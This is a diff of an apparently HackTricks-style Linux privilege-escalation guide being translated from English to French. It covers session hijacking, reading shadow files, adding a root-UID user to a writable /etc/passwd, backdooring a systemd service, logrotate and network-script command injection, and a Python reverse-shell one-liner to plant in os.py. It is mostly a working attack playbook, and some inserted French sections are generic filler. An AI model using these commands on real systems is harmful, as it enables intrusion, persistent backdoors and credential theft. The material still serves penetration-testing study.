**privilèges root en unités plus petites et distinctes**. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet de privilèges est réduit, réduisant les risques d'exploitation.\ +Lisez la page suivante pour **en savoir plus sur les capacités et comment les abuser** : {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -## Directory permissions +## Autorisations de répertoire -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +Dans un répertoire, le **bit "exécuter"** implique que l'utilisateur concerné peut "**cd**" dans le dossier.\ +Le bit **"lecture"** implique que l'utilisateur peut **lister** les **fichiers**, et le bit **"écriture"** implique que l'utilisateur peut **supprimer** et **créer** de nouveaux **fichiers**. -## ACLs - -ACLs (Access Control Lists) are the second level of discretionary permissions, that **may override the standard ugo/rwx** ones. When used correctly they can grant you a **better granularity in setting access to a file or a directory**, for example by giving or denying access to a specific user that is neither the file owner nor the group owner (from [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\ -**Give** user "kali" read and write permissions over a file: +## ACL +Les ACL (Listes de contrôle d'accès) sont le deuxième niveau de permissions discrétionnaires, qui **peuvent remplacer les permissions ugo/rwx standard**. Lorsqu'ils sont utilisés correctement, ils peuvent vous accorder une **meilleure granularité dans la définition de l'accès à un fichier ou à un répertoire**, par exemple en donnant ou en refusant l'accès à un utilisateur spécifique qui n'est ni le propriétaire du fichier ni le propriétaire du groupe (à partir de [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux)).\ +**Donnez** à l'utilisateur "kali" les autorisations de lecture et d'écriture sur un fichier : ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` +**Obtenir** des fichiers avec des ACL spécifiques du système: -**Get** files with specific ACLs from the system: +``` +find / -type f -acl | getfacl | grep "specific_ACL" +``` +Cela recherchera tous les fichiers du système avec des ACL spécifiques et affichera les informations d'ACL pour ces fichiers. ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## Sessions de shell ouvertes -## Open shell sessions +Dans les **anciennes versions**, il est possible de **s'approprier** une session de **shell** d'un autre utilisateur (**root**).\ +Dans les **nouvelles versions**, vous ne pourrez **vous connecter** qu'aux sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver des **informations intéressantes à l'intérieur de la session**. -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### S'approprier des sessions screen +**Lister les sessions screen** ```bash screen -ls ``` - -![](<../../.gitbook/assets/image (130).png>) - -**Attach to a session** - +**Se connecter à une session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image ``` +## Piratage de sessions tmux -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu pirater une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +**Lister les sessions tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - -![](<../../.gitbook/assets/image (131).png>) - -**Attach to a session** - +**Se connecter à une session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1285,145 +1120,123 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +Vérifiez **Valentine box de HTB** pour un exemple. ## SSH -### Debian OpenSSL Predictable PRNG - CVE-2008-0166 +### Debian OpenSSL PRNG prévisible - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Toutes les clés SSL et SSH générées sur des systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bogue.\ +Ce bogue est causé lors de la création d'une nouvelle clé ssh dans ces OS, car **seules 32 768 variations étaient possibles**. Cela signifie que toutes les possibilités peuvent être calculées et **en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante**. Vous pouvez trouver les possibilités calculées ici: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### Valeurs de configuration intéressantes de SSH -* **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -* **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -* **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +* **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. La valeur par défaut est `no`. +* **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. La valeur par défaut est `yes`. +* **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des chaînes de mot de passe vides. La valeur par défaut est `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est `no`. Les valeurs possibles sont: -* `yes`: root can login using password and private key -* `without-password` or `prohibit-password`: root can only login with a private key -* `forced-commands-only`: Root can login only using private key and if the commands options are specified -* `no` : no +* `yes`: root peut se connecter en utilisant un mot de passe et une clé privée +* `without-password` ou `prohibit-password`: root ne peut se connecter qu'avec une clé privée +* `forced-commands-only`: Root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées +* `no` : non ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +Spécifie les fichiers qui contiennent les clés publiques qui peuvent être utilisées pour l'authentification de l'utilisateur. Il peut contenir des jetons comme `%h`, qui seront remplacés par le répertoire personnel. **Vous pouvez indiquer des chemins absolus** (en commençant par `/`) ou **des chemins relatifs à partir du répertoire personnel de l'utilisateur**. Par exemple: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**testusername**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/testusername/.ssh/authorized_keys` et `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +L'agent SSH forwarding vous permet d'utiliser vos clés SSH locales au lieu de laisser des clés (sans phrase de passe !) sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et à partir de là, **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**. +Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci : ``` Host example.com ForwardAgent yes ``` +Notez que si `Host` est `*`, chaque fois que l'utilisateur saute sur une machine différente, cette machine pourra accéder aux clés (ce qui est un problème de sécurité). -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +Le fichier `/etc/ssh_config` peut **remplacer** cette **option** et permettre ou refuser cette configuration.\ +Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** la transmission de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, il est autorisé). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +Si vous avez configuré un agent de transfert dans un environnement \[**consultez ici comment l'exploiter pour escalader les privilèges**]\(ssh-forward-agent-exploitation.md). -If you Forward Agent configured in an environment \[**check here how to exploit it to escalate privileges**]\(ssh-forward-agent-exploitation.md). +## Fichiers intéressants -## Interesting Files - -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### Fichiers de profil +Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont des **scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'entre eux, vous pouvez escalader les privilèges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` +Si un script de profil étrange est trouvé, vous devriez le vérifier pour y trouver des **informations sensibles**. -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Fichiers Passwd/Shadow +Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de **tous les trouver** et de **vérifier si vous pouvez les lire** pour voir s'il y a des **hashes** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +Dans certaines occasions, vous pouvez trouver des **hachages de mots de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` +### /etc/passwd modifiable -### Writable /etc/passwd - -First, generate a password with one of the following commands. - +Tout d'abord, générer un mot de passe avec l'une des commandes suivantes. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` +Par exemple: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` - -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` +Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur fictif sans mot de passe.\ +AVERTISSEMENT: vous pourriez dégrader la sécurité actuelle de la machine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +REMARQUE: Sur les plateformes BSD, `/etc/passwd` est situé à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +Par exemple, si la machine exécute un serveur **Tomcat** et que vous pouvez **modifier le fichier de configuration du service Tomcat à l'intérieur de /etc/systemd/**, alors vous pouvez modifier les lignes : ``` ExecStart=/path/to/backdoor User=root Group=root ``` +Votre porte dérobée sera exécutée la prochaine fois que Tomcat sera démarré. -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### Vérifier les dossiers +Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Vous ne pourrez probablement pas lire le dernier, mais essayez). ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` +### Fichiers situés dans des emplacements étranges ou appartenant à des utilisateurs inconnus -### Weird Location/Owned files - +Les fichiers situés dans des emplacements inhabituels ou appartenant à des utilisateurs inconnus peuvent être un signe de compromission du système. Les attaquants peuvent utiliser des fichiers malveillants pour maintenir l'accès au système ou pour exécuter des commandes à distance. Il est important de vérifier régulièrement les fichiers situés dans des emplacements inhabituels ou appartenant à des utilisateurs inconnus pour détecter toute activité suspecte. ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1440,72 +1253,126 @@ for g in `groups`; done done ``` - -### Modified files in last mins - +### Fichiers modifiés dans les dernières minutes ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Fichiers de base de données Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` +### Fichiers \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml -### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files +Les fichiers \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile et docker-compose.yml sont des fichiers couramment utilisés dans les systèmes Linux. Ils peuvent contenir des informations sensibles telles que des mots de passe, des clés d'API et des informations d'identification. +Les fichiers \*\_history contiennent l'historique des commandes exécutées dans le terminal. Le fichier .sudo\_as\_admin\_successful contient des informations sur les commandes exécutées avec succès en tant qu'administrateur. Les fichiers profile et bashrc contiennent des configurations pour les shells Bash. Le fichier httpd.conf contient des configurations pour le serveur web Apache. Le fichier .plan contient des informations sur l'utilisateur. Le fichier .htpasswd contient des informations d'identification pour l'authentification HTTP. Le fichier .git-credentials contient des informations d'identification pour Git. Les fichiers .rhosts et hosts.equiv sont utilisés pour l'authentification rlogin et rsh. Les fichiers Dockerfile et docker-compose.yml sont utilisés pour la création et la configuration de conteneurs Docker. + +Il est important de protéger ces fichiers en limitant l'accès aux utilisateurs autorisés et en évitant de stocker des informations sensibles à l'intérieur. ```bash fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files ``` - -### Hidden files - +### Fichiers cachés ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` +### **Scripts/Binaires dans le PATH** -### **Script/Binaries in PATH** +--- +#### **Description** + +Les scripts et binaires qui sont placés dans les répertoires du PATH peuvent être exécutés par n'importe quel utilisateur du système. Si un attaquant peut écrire un script ou un binaire avec un nom connu et le placer dans l'un de ces répertoires, il peut alors être exécuté avec les privilèges de l'utilisateur qui l'a lancé. + +#### **Exploitation** + +1. Trouver un répertoire du PATH qui est inscriptible par l'utilisateur actuel. +2. Créer un script ou un binaire avec un nom connu (par exemple, `ls`). +3. Ajouter le répertoire contenant le script/binaire au PATH. +4. Lancer le script/binaire avec les privilèges de l'utilisateur qui l'a lancé. + +#### **Contournement** + +- Éviter d'avoir des répertoires inscriptibles dans le PATH. +- Utiliser des noms de scripts/binaires uniques pour éviter les collisions de noms. +- Utiliser des chemins absolus pour exécuter des scripts/binaires plutôt que de compter sur le PATH. + +#### **Détection** + +- Vérifier les répertoires du PATH pour les fichiers qui ne devraient pas être là. +- Vérifier les permissions des répertoires du PATH pour s'assurer qu'ils ne sont pas inscriptibles par des utilisateurs non autorisés. ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` - -### **Web files** - +### **Fichiers Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` +### **Sauvegardes** -### **Backups** +--- +#### **Introduction** + +Les sauvegardes sont une partie importante de la sécurité de tout système. Elles permettent de récupérer des données en cas de perte ou de corruption. Cependant, elles peuvent également être utilisées pour obtenir des informations sensibles ou pour accéder à des systèmes en utilisant des identifiants volés. + +#### **Types de sauvegardes** + +Il existe plusieurs types de sauvegardes, chacun ayant ses avantages et ses inconvénients : + +- Sauvegardes complètes : elles sauvegardent l'intégralité du système et sont utiles pour une récupération complète en cas de catastrophe. Cependant, elles sont également plus lourdes et prennent plus de temps à effectuer. + +- Sauvegardes incrémentielles : elles ne sauvegardent que les fichiers qui ont été modifiés depuis la dernière sauvegarde. Elles sont plus rapides et prennent moins de place, mais nécessitent plus de temps pour une récupération complète. + +- Sauvegardes différentielles : elles sauvegardent tous les fichiers qui ont été modifiés depuis la dernière sauvegarde complète. Elles sont plus rapides que les sauvegardes complètes et nécessitent moins d'espace de stockage, mais nécessitent plus de temps pour une récupération complète. + +#### **Risques associés aux sauvegardes** + +Les sauvegardes peuvent être utilisées pour accéder à des informations sensibles ou pour obtenir un accès non autorisé à des systèmes. Les risques associés aux sauvegardes comprennent : + +- Les sauvegardes stockées sur des systèmes non sécurisés ou accessibles à des tiers non autorisés. + +- Les sauvegardes contenant des informations sensibles telles que des identifiants de connexion ou des données personnelles. + +- Les sauvegardes utilisées pour restaurer des systèmes compromis, permettant ainsi aux attaquants de récupérer l'accès. + +#### **Bonnes pratiques pour les sauvegardes** + +Pour minimiser les risques associés aux sauvegardes, il est recommandé de suivre les bonnes pratiques suivantes : + +- Stocker les sauvegardes sur des systèmes sécurisés et accessibles uniquement aux personnes autorisées. + +- Chiffrer les sauvegardes pour protéger les informations sensibles. + +- Vérifier régulièrement l'intégrité des sauvegardes pour s'assurer qu'elles peuvent être utilisées pour restaurer les systèmes. + +- Limiter l'accès aux sauvegardes aux personnes qui en ont besoin. + +- Mettre en place des politiques de rotation des sauvegardes pour s'assurer que les sauvegardes les plus récentes sont utilisées en cas de récupération. + +- Tester régulièrement les sauvegardes pour s'assurer qu'elles fonctionnent correctement et qu'elles peuvent être utilisées pour restaurer les systèmes. ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll ``` +### Fichiers connus contenant des mots de passe -### Known files containing passwords +Lisez le code de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), il recherche **plusieurs fichiers possibles qui pourraient contenir des mots de passe**.\ +**Un autre outil intéressant** que vous pouvez utiliser pour cela est: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux et Mac. -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### Journaux +Si vous pouvez lire les journaux, vous pourrez peut-être trouver des **informations intéressantes/confidentielles à l'intérieur**. Plus le journal est étrange, plus il sera intéressant (probablement).\ +De plus, certains journaux d'audit "**mal**" configurés (avec une porte dérobée?) peuvent vous permettre d'**enregistrer des mots de passe** dans les journaux d'audit, comme expliqué dans ce post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +Pour **lire les journaux**, le groupe [**adm**](interesting-groups-linux-pe/#adm-group) sera vraiment utile. -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### Fichiers shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1516,78 +1383,71 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` +### Recherche générique de mots de passe/Regex -### Generic Creds Search/Regex +Vous devriez également vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou à l'intérieur du **contenu**, et également vérifier les adresses IP et les e-mails dans les journaux, ou les expressions régulières de hachage.\ +Je ne vais pas énumérer ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez vérifier les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +## Fichiers inscriptibles -## Writable files +### Piratage de bibliothèque Python -### Python library hijacking - -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Si vous savez d'**où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et la piéger (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). +Pour **piéger la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez l'IP et le PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Exploitation de Logrotate -### Logrotate exploitation - -There is a vulnerability on `logrotate` that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate` write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\ -So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart from _/var/log_ are more files being **rotated**. +Il existe une vulnérabilité sur `logrotate` qui permet à un utilisateur ayant des **permissions d'écriture sur un fichier journal** ou sur **l'un de ses répertoires parent** de faire écrire à `logrotate` **un fichier dans n'importe quel emplacement**. Si **logrotate** est exécuté par **root**, alors l'utilisateur pourra écrire n'importe quel fichier dans _**/etc/bash\_completion.d/**_ qui sera exécuté par n'importe quel utilisateur qui se connecte.\ +Donc, si vous avez des **permissions d'écriture** sur un **fichier journal** ou sur l'un de ses **répertoires parent**, vous pouvez **élever vos privilèges** (sur la plupart des distributions Linux, logrotate est exécuté automatiquement une fois par jour en tant qu'utilisateur **root**). Vérifiez également si, en plus de _/var/log_, d'autres fichiers sont **rotatifs**. {% hint style="info" %} -This vulnerability affects `logrotate` version `3.18.0` and older +Cette vulnérabilité affecte la version `3.18.0` et les versions antérieures de `logrotate`. {% endhint %} -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx)**, donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en remplaçant les journaux par des liens symboliques. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** peut **ajuster** un script existant, alors votre **système est compromis**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourcés\~ sur Linux par Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Dans mon cas, l'attribut `NAME=` de ces scripts réseau n'est pas géré correctement. Si vous avez des **espaces blancs dans le nom, le système essaie d'exécuter la partie après l'espace blanc**. Cela signifie que **tout ce qui suit le premier espace blanc est exécuté en tant que root**. +Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +**Référence de vulnérabilité:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -(_Note the blank space between Network and /bin/id_) +### **init, init.d, systemd et rc.d** -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) +`/etc/init.d` contient des **scripts** utilisés par les outils d'initialisation System V (SysVinit). C'est le **paquetage de gestion de service traditionnel pour Linux**, contenant le programme `init` (le premier processus qui est exécuté lorsque le noyau a fini d'initialiser¹) ainsi que certaines infrastructures pour démarrer et arrêter les services et les configurer. Plus précisément, les fichiers dans `/etc/init.d` sont des scripts shell qui répondent aux commandes `start`, `stop`, `restart` et (lorsqu'ils sont pris en charge) `reload` pour gérer un service particulier. Ces scripts peuvent être invoqués directement ou (le plus souvent) via un autre déclencheur (généralement la présence d'un lien symbolique dans `/etc/rc?.d/`). (À partir de [ici](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). Une autre alternative à ce dossier est `/etc/rc.d/init.d` dans Redhat. -### **init, init.d, systemd, and rc.d** +`/etc/init` contient des fichiers de **configuration** utilisés par **Upstart**. Upstart est un jeune **paquetage de gestion de service** soutenu par Ubuntu. Les fichiers dans `/etc/init` sont des fichiers de configuration indiquant à Upstart comment et quand `start`, `stop`, `reload` la configuration ou interroger le `status` d'un service. À partir de lucid, Ubuntu passe de SysVinit à Upstart, ce qui explique pourquoi de nombreux services sont livrés avec des scripts SysVinit même si les fichiers de configuration Upstart sont préférés. Les scripts 